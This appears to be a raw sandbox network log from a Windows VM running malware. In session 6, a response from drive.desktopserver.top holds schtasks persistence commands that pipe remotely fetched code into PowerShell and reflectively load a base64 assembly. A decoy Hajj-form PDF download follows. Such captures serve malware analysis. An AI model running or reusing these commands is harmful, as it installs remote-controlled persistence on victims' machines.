2024-09-30 16:58:08 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-09-30 16:58:08 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 30 Sep 2024 16:57:08 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: e405c04e-0260-437b-8ee0-5fed1fef67ac PPServer: PPV: 30 H: PH1PEPF00011F90 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 30 Sep 2024 16:58:08 GMT Connection: close Content-Length: 1918
2024-09-30 16:58:08 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49720	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 7a 53 4a 64 4a 30 4a 52 32 45 71 6e 66 2b 39 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 34 39 61 31 32 39 34 65 39 65 39 33 35 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: zSJdJ0JR2Eqnf+9r.1Context: d149a1294e9e935e
2024-09-30 16:58:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-30 16:58:09 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 7a 53 4a 64 4a 30 4a 52 32 45 71 6e 66 2b 39 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 34 39 61 31 32 39 34 65 39 65 39 33 35 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 66 43 6e 7a 53 7a 79 76 51 63 39 2b 49 50 79 57 64 4a 62 61 32 41 52 75 2b 78 4b 55 37 73 39 53 69 79 34 4c 50 5a 78 71 64 79 73 71 2b 6a 73 55 44 32 63 50 4f 43 4e 69 68 79 51 49 69 5a 52 6a 37 66 59 7a 4d 6b 4c 38 61 34 54 51 4d 38 2f 32 4e 49 41 58 58 48 73 74 2f 38 59 4d 4b 66 6b 31 66 61 34 34 47 4a 76 4d 66 4a 46 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: zSJdJ0JR2Eqnf+9r.2Context: d149a1294e9e935e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATfCnzSzyvQc9+IPyWdJba2ARu+xKU7s9Siy4LPZxqdysq+jsUD2cPOCNihyQIiZRj7fYzMkL8a4TQM8/2NIAXXHst/8YMKfk1fa44GJvMfJFN
2024-09-30 16:58:09 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 7a 53 4a 64 4a 30 4a 52 32 45 71 6e 66 2b 39 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 34 39 61 31 32 39 34 65 39 65 39 33 35 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: zSJdJ0JR2Eqnf+9r.3Context: d149a1294e9e935e
2024-09-30 16:58:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-30 16:58:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 55 36 67 46 56 75 39 46 6b 32 65 2f 76 33 73 58 32 50 4c 41 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gU6gFVu9Fk2e/v3sX2PLAQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49719	20.190.159.71	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:09 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-09-30 16:58:09 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-09-30 16:58:10 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 30 Sep 2024 16:57:09 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C527_SN1 x-ms-request-id: e8acfc22-902f-42ec-9e86-c7dff00c9974 PPServer: PPV: 30 H: SN1PEPF0002F969 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 30 Sep 2024 16:58:09 GMT Connection: close Content-Length: 11409
2024-09-30 16:58:10 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49721	20.190.159.71	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:12 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-09-30 16:58:12 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-09-30 16:58:12 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 30 Sep 2024 16:57:12 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C527_BL2 x-ms-request-id: 28c22eff-dae4-4232-8aef-335983c3cc01 PPServer: PPV: 30 H: BL02EPF0001D7AD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 30 Sep 2024 16:58:12 GMT Connection: close Content-Length: 11409
2024-09-30 16:58:12 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49731	104.21.92.189	443	7304	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:13 UTC	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:14 UTC	846	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: LAST_VISIT=Monday%2C%20September%2030%2C%202024%20at%2010%3A28%20PM; expires=Tue, 30-Sep-2025 16:58:13 GMT; Max-Age=31536000 Set-Cookie: VISIT_NUMBER=1; expires=Mon, 14-Oct-2024 16:58:13 GMT; Max-Age=1209600 Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jF6W9hGnuzp15J%2B9H70tDwZBm6EzIxnULrs%2FmLoDfEmvlNo9wk3lllgOmLHR%2BQMxmWdkxBYsWenokrMM8bv8KBadQ4Sj8oIIi0cgHZ4XlWHK1VIQNrsyvYUlU8CVL7oD9Kb4wM0AVXIThw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1aa59757cfa-EWR
2024-09-30 16:58:14 UTC	523	IN	Data Raw: 32 63 36 0d 0a 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 43 6c 65 61 6e 65 72 52 65 73 22 20 2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 3a 2f 2f 64 72 69 76 65 2e 64 65 73 6b 74 6f 70 73 65 72 76 65 72 2e 74 6f 70 2f 66 69 6c 65 2f 7c 20 50 6f 77 65 72 73 68 65 6c 6c 22 20 2f 73 63 20 64 61 69 6c 79 20 2f 73 74 20 30 39 3a 30 30 20 2f 66 20 3b 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 44 72 69 76 65 72 73 55 70 64 61 74 65 22 20 2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 Data Ascii: 2c6schtasks /create /tn "CleanerRes" /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f ; schtasks /create /tn "DriversUpdate" /tr "conhost.exe --headless powershell.exe -c irm http
2024-09-30 16:58:14 UTC	194	IN	Data Raw: 65 72 2e 74 6f 70 2f 66 69 6c 65 2f 72 65 73 2f 27 29 3b 20 24 62 79 74 65 65 73 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 24 73 74 72 69 6e 67 2e 52 65 70 6c 61 63 65 28 27 5e 27 2c 27 27 29 29 3b 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 5d 3a 3a 4c 6f 61 64 28 24 62 79 74 65 65 73 29 3b 24 41 64 6f 62 65 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 44 53 43 2e 53 69 67 6e 3b 20 24 41 64 6f 62 65 2e 43 6f 6e 6e 65 63 74 28 27 55 70 64 61 74 65 4d 65 27 29 3b 0d 0a Data Ascii: er.top/file/res/'); $bytees = [System.Convert]::FromBase64String($string.Replace('^','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('UpdateMe');
2024-09-30 16:58:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49727	203.101.184.86	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:13 UTC	691	OUT	GET /SiteImage/Misc/files/HajjForm2024.pdf HTTP/1.1 Host: mora.gov.pk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 16:58:14 UTC	722	IN	HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Thu, 06 Jun 2024 12:21:26 GMT Accept-Ranges: bytes ETag: "2e557edcb8da1:0" Server: Microsoft-IIS/10.0 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 1 X-Content-Type-Options: nosniff Referrer-Policy: no-referrer X-Permitted-Cross-Domain-Policies: none Strict-Transport-Security: max-age=31536000; includeSubDomains X-UA-Compatible: IE=edge,chrome=1 Date: Mon, 30 Sep 2024 16:58:12 GMT Connection: close Content-Length: 891955 Set-Cookie: cookiesession1=678B2917984A004EC914ADEBDA66AEC6;Expires=Tue, 30 Sep 2025 16:58:14 GMT;Path=/;HttpOnly Content-Security-Policy: self Feature-Policy: self
2024-09-30 16:58:14 UTC	882	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 32 33 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 39 2f 4c 65 6e 67 74 68 20 32 35 31 2f 4e 20 32 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 74 90 c1 8a 83 30 10 86 5f 65 9e c0 24 13 bb b4 50 72 a8 5d 3d 94 82 18 2f 8b 78 08 6d ba 08 5d 23 31 82 fb f6 3b 46 bb b7 c2 1f 98 99 ff cb 0c 33 08 1c 52 90 3b 38 1e 59 e6 a6 3e 80 60 97 ee 3e 36 29 19 55 cb ea df c1 b2 d2 7c db 51 a9 88 f4 c1 f6 61 04 c1 17 9f 65 de 0d 27 37 37 3c a1 9c de ee c0 93 14 f6 b8 4f 78 cb ae f6 de 99 b7 6e 69 3c 75 02 8c 7d 2a 3b ba c9 df ec 18 67 3c 9d d7 83 b9 d9 25 d1 28 80 14 87 69 c9 41 ae 83 cf f6 61 a6 67 c8 ae 5f 97 97 bd 95 aa e2 b4 41 4a Data Ascii: %PDF-1.7%236 0 obj<</Filter/FlateDecode/First 9/Length 251/N 2/Type/ObjStm>>streamht0_e$Pr]=/xm]#1;F3R;8Y>`>6)U\|Qae'77<Oxni<u}*;g<%(iAag_AJ
2024-09-30 16:58:14 UTC	4048	IN	Data Raw: 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 32 33 39 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 33 33 2f 4c 65 6e 67 74 68 20 32 36 31 2f 4e 20 35 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 84 cf 5d 6b 83 30 14 06 e0 bf 92 7b 91 98 0f dd 84 52 a8 6b 6d 65 d5 16 63 4b b7 b1 0b ab 87 2e a0 c9 98 19 c3 7f 3f dd 6e c6 5a 15 42 2e ce c9 39 cf 1b c2 90 83 28 43 84 52 c4 28 a2 dc 47 ac 3b 77 0c 71 0f b9 8e 8b 66 33 1c e4 0d 84 5a 19 1c 8a d3 2e 58 58 8b 0f 99 57 71 86 97 d0 14 a0 ca 5c 99 be db bc 10 b7 db 95 be e2 95 2a 74 29 d5 05 47 25 28 23 4d 6b 6f 70 92 d7 80 43 c2 b0 f8 3c 9b f6 1d 70 d6 5d 0e ce f4 41 c9 ee 35 20 e2 f5 c3 3f 65 dc af 9b cf ff ca f1 53 ba Data Ascii: endstreamendobj239 0 obj<</Filter/FlateDecode/First 33/Length 261/N 5/Type/ObjStm>>streamh]k0{RkmecK.?nZB.9(CR(G;wqf3Z.XXWq\*t)G%(#MkopC<p]A5 ?eS
2024-09-30 16:58:14 UTC	4048	IN	Data Raw: 83 68 60 9b 86 f7 f3 b1 91 5a 11 67 92 09 e7 84 97 ea 4c 3e 25 76 5d 2c 97 6c 88 33 6b 1f 7c cc d6 b6 8a a5 67 22 93 1b 2f 44 03 e7 ee 6e cf c7 7a cf 4e ea e4 71 df 68 21 4b 74 e4 30 57 4a bb 23 96 e8 03 4b 06 d3 62 77 2c 99 26 09 c0 cf 97 f8 9a 26 fe de 8f 23 4a c2 b4 e1 fb b1 fa 7e 99 02 b3 90 e5 ec bd 15 7c c5 42 34 b0 8d d0 9e 8f 75 c4 e0 1d 29 be 43 e7 b4 09 99 f3 bb 06 76 d2 43 30 39 a9 c3 aa de 8f 74 42 48 a1 69 cc fb ac 8e 5a c3 12 56 61 d4 20 d1 c7 a9 98 c2 aa 98 1e 8b 59 c8 68 ed 20 4b ca d9 1a b8 1e 4b 4d e2 71 a4 e8 02 79 ce 75 fd 24 57 a7 1c 5a 84 e1 c8 80 5c 1d c5 89 8f a5 38 32 37 9c cf 83 e5 35 39 53 6e cf ff 23 58 72 32 17 f8 a6 e9 aa 3d 38 32 28 8e 26 d2 90 bf b1 ce 8e 46 96 46 1a 6a d3 11 33 86 ff e2 94 51 f1 05 41 ea ec 1a b8 c1 d0 d7 Data Ascii: h`ZgL>%v],l3k\|g"/DnzNqh!Kt0WJ#Kbw,&&#J~\|B4u)CvC09tBHiZVa Yh KKMqyu$WZ\82759Sn#Xr2=82(&FFj3QA
2024-09-30 16:58:14 UTC	4048	IN	Data Raw: 64 53 04 25 b8 8e a4 90 6e 95 f0 ec 4d 3c 5f ba 7c 3b 94 1e bd c9 ed 2f 97 ac d1 dc db 31 9d 4f e7 a0 ec 65 63 74 26 9c 8c f4 1f 05 7a 60 1d f9 ea 3c 68 e0 07 5b 96 17 b3 e3 6e 24 75 29 c6 86 43 41 69 b7 9e a6 6e 70 47 8b 39 7b 87 5c 9a 48 76 9d 5c 81 5a 0d 34 3a 87 e9 0f d1 40 33 09 e1 42 57 b9 c1 2b 2b 67 4e 35 a5 91 1b b4 47 69 11 f4 f9 a3 7e 7c 34 85 7d 3b b5 af 89 cc 9d 95 8e c2 f0 83 97 99 3f 41 20 6d d5 32 44 66 3e 03 61 f2 d8 92 21 1a d8 8b 2a 23 32 8a 0b 40 43 58 b1 89 ca 63 05 a4 f6 95 1e 1c 3c 1b 9c 1f be 04 57 a7 67 0f 93 53 24 69 3d 82 fc 69 39 ce 32 e5 5a 57 74 2f d5 b5 4c 6e 0c 62 4d 91 36 f9 21 30 07 8f 0c 06 a6 49 d8 4a 34 05 c2 fd 4e 44 71 a8 91 a5 54 00 74 f9 df 51 c1 98 df ae f7 77 19 83 9f 90 b5 76 16 e4 79 28 c5 1f 0b 51 89 4c 95 2e Data Ascii: dS%nM<_\|;/1Oect&z`<h[n$u)CAinpG9{\Hv\Z4:@3BW++gN5Gi~\|4};?A 